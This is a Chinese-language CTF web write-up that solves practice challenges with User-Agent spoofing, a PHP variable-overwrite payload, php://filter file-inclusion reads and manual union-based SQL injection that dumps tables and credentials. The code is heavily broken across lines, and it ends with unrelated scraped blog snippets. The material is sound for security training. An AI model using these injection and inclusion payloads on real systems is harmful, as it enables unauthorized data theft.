CTF web做題記錄 狼組 BUUCTF 一

2021-10-24 20:40:32 字數 4141 閱讀 1970

1、ctf.wgpsec 你可能需要一部iphone

題目如下

考察點:user-agent,burp改為iphone的user-agent,發包得到flag

坑:**理解錯誤,淦

考察點:**理解,根據**本身繞過

<?php 

highlight_file

('source.txt');

echo""

;$flag

='******xx'

;$msg_giveme

='give me the flag!'

;$msg_getout

='no this. get out!';if

(!isset

($_get

['flag'])

&&!isset

($_post

['flag'])

)if($_post

['flag'

]===

'flag'

||$_get

['flag'

]===

'flag'

)foreach

($_post

as$key

=>

$value

)foreach

($_get

as$key

=>

$value

)echo

'the flag is : '

.$flag

;?>

**分析:

9-15行:兩個if語句限制了,get或者post請求中帶有flag引數,且過濾了flag=flag

這要怎麼輸出flag呢,往下17-19行 如果使用post方法,必然會將$flag的值覆蓋掉

接著21-23行,因為是遍歷$_get這個陣列,所以可以將$flag變數進行轉遞,最終輸出flag

payload:?123=flag&flag=123

3、[actf2020 新生賽]include

如圖:file引數及題目include,基本確定考察點為檔案包含

檔案包含漏洞,使用php://filter協議讀出flag.php。

php://filter是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。 這對於一體式(all-in-one)的檔案函式非常有用,類似 readfile()、 file() 和 file_get_contents(), 在資料流內容讀取之前沒有機會應用其他過濾器。

在ctf中經常使用的是php://filter和php://input,php://filter用於讀取原始碼,php://input用於執行php**。

palyload  php:

//filter/read=convert.base64-encode/resource=flag.php

這裡讀的過濾器為convert.base64-encode,就和字面上的意思一樣,把輸入流base64-encode。

resource=flag.php,代表讀取flag.php的內容

resource=《要過濾的資料流》     這個引數是必須的。它指定了你要篩選過濾的資料流。

read=《讀鏈的篩選列表》 該引數可選。可以設定乙個或多個過濾器名稱,以管道符(|)分隔。

write=《寫鏈的篩選列表》 該引數可選。可以設定乙個或多個過濾器名稱,以管道符(|)分隔。

如下圖base64字串讀出flag.php原始碼,解碼得到flag

4、[極客大挑戰 2019]lovesql

考察點:字元型回顯注入,常規注入

如圖,提示最好手工,且flag在資料庫的某處

判斷注入型別

使用萬能密碼:admin' or '1'='1, 成功登陸,即字元型注入

判斷注入點欄位

使用order by x,判斷注入點所在的表有多少列(字段數),得出只有3列

判斷回顯

使用union select 1,2,3,4...判斷是否具體回顯,2,3處均有回顯,注意:若要判斷回顯,union前的引數值不能為資料庫存在的值

爆庫:

庫名 and1=

2union

select1,

2,3,schema_name,5,

6,7,

8,9,

10from information_schema.schemata limit0,

1 表名 and1=

2union

select1,

2,3,table_name,5,

6,7,

8,9,

10from information_schema.

tables

where table_schema=資料庫(十六進製制) limit

0(開始的記錄,0為第乙個開始記錄),

1(顯示1條記錄)

字段 and1=

2union

select1,

2,3,column_name,5,

6,7,

8,9,

10from information_schema.

columns

where table_name=表名(十六進製制)limit0,

1

payload:1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='geek'%23爆出來表geekuser,l0ve1ysq1

爆表payload:1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='geekuser'%23兩個表都是這三個字段

爆欄位:

payload:1%27+union+select+1,2,group_concat(id,name,password)+from+l0ve1ysq1%23l0ve1ysq1表中爆出flag

KMP做題記錄

題目太長不貼了 這道題很巧妙,給定乙個字串s,求最少在首尾新增幾個字元後,s變為乙個迴圈了n次的字串 n 1 假設我們有乙個迴圈串s abcabcabc 我們根據kmp求一次next陣列,就可以通過next strlen s 得到乙個迴圈節的位置從而求出迴圈節的長度,顯然,迴圈節能被s整除。如果s ...

8 25 9 25 做題記錄

2018.8.25 上午 1.ac 洛谷p1514引水入城 搜尋 貪心 2.ac 洛谷p3918 國家集訓隊 特技飛行 貪心 下午 3.ac 洛谷p1120 小木棍 資料加強版 搜尋 剪枝 4.ac 洛谷p1441 砝碼稱重 dfs列舉 01揹包 2018.8.26 上午 參加模擬賽 下午 1.ac...

8 25 9 25 做題記錄

2018.8.25 上午 1.ac 洛谷p1514引水入城 搜尋 貪心 2.ac 洛谷p3918 國家集訓隊 特技飛行 貪心 下午 3.ac 洛谷p1120 小木棍 資料加強版 搜尋 剪枝 4.ac 洛谷p1441 砝碼稱重 dfs列舉 01揹包 2018.8.26 上午 參加模擬賽 下午 1.ac...